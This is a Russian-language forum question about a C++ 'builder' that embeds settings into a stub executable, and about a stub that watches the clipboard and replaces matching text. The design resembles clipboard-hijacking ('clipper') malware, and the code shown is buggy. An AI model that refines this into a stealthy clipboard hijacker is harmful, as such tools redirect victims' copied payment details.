Werfault.exe мешает работе моей программе!

Есть "билдер". В него вводишь текст, который нужно заменять Билдер записывает текст в struct и помещает в конец стаба. После создаёт билд. После запуска - он почему то крашится Werfault.exe. Крашится в смысле просто берёт и закрывает мою программу, без сообщений, просто закрыл и всё. Я увидел это в processhacker.exe Вот код:

struct Settings {
    char text[128]; // На что заменять
    char replace[128]; // Что заменять
};

int main(int argc, char** argv) {
   Settings sett;

    long int filesize = FILESIZE; // Размер стаба
     int size = MAX_PATH;
     char* filename = new char[size];

     GetModuleFileNameA(NULL, filename, size);

     ifstream file(filename, ios::binary);
     file.seekg(filesize);
     file.read((char*)&sett, sizeof(Settings));
     file.close();

     string text;

     while(true) {
        Sleep(500);
         if(OpenClipboard(NULL)) {
            HANDLE hData = GetClipboardData( CF_TEXT );
            text = (char*)GlobalLock( hData );
            GlobalUnlock( hData );
            CloseClipboard();
            if(text.find(string(sett.replace)) == 0) {
                const char* output = sett.text;
                const size_t len = strlen(output) + 1;
                HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
                memcpy(GlobalLock(hMem), output, len);
                GlobalUnlock(hMem);
                OpenClipboard(0);
                EmptyClipboard();
                SetClipboardData(CF_TEXT, hMem);
                MessageBox(NULL, "Текст заменён!", "OK", MB_OK);
            }
           CloseClipboard();
      }
}

return 0;
}

Код билдера:

            Settings sett;
            char filename[128];
            GetWindowTextA(GetDlgItem(hwndDlg, BOX_TEXT), sett.text, 
            sizeof(sett.text));
            GetWindowTextA(GetDlgItem(hwndDlg, BOX_REPLACE), sett.replace, 
            sizeof(sett.replace));
            ifstream stub("STUB.exe", ios::binary);
            ofstream build("builded.exe", ios::binary);

            build << stub.rdbuf();
            stub.close();

            build.write((char*)&sett, sizeof(Settings));
            build.close();

            MessageBox(NULL, "Ваш файл создан под именем builded.exe!", "OK", MB_OK);

Задумку как сделать стаб и билдер взял с ютуба! Уже не знаю что делать, как же меня бесит этот Werfault.exe


Ответы (0 шт):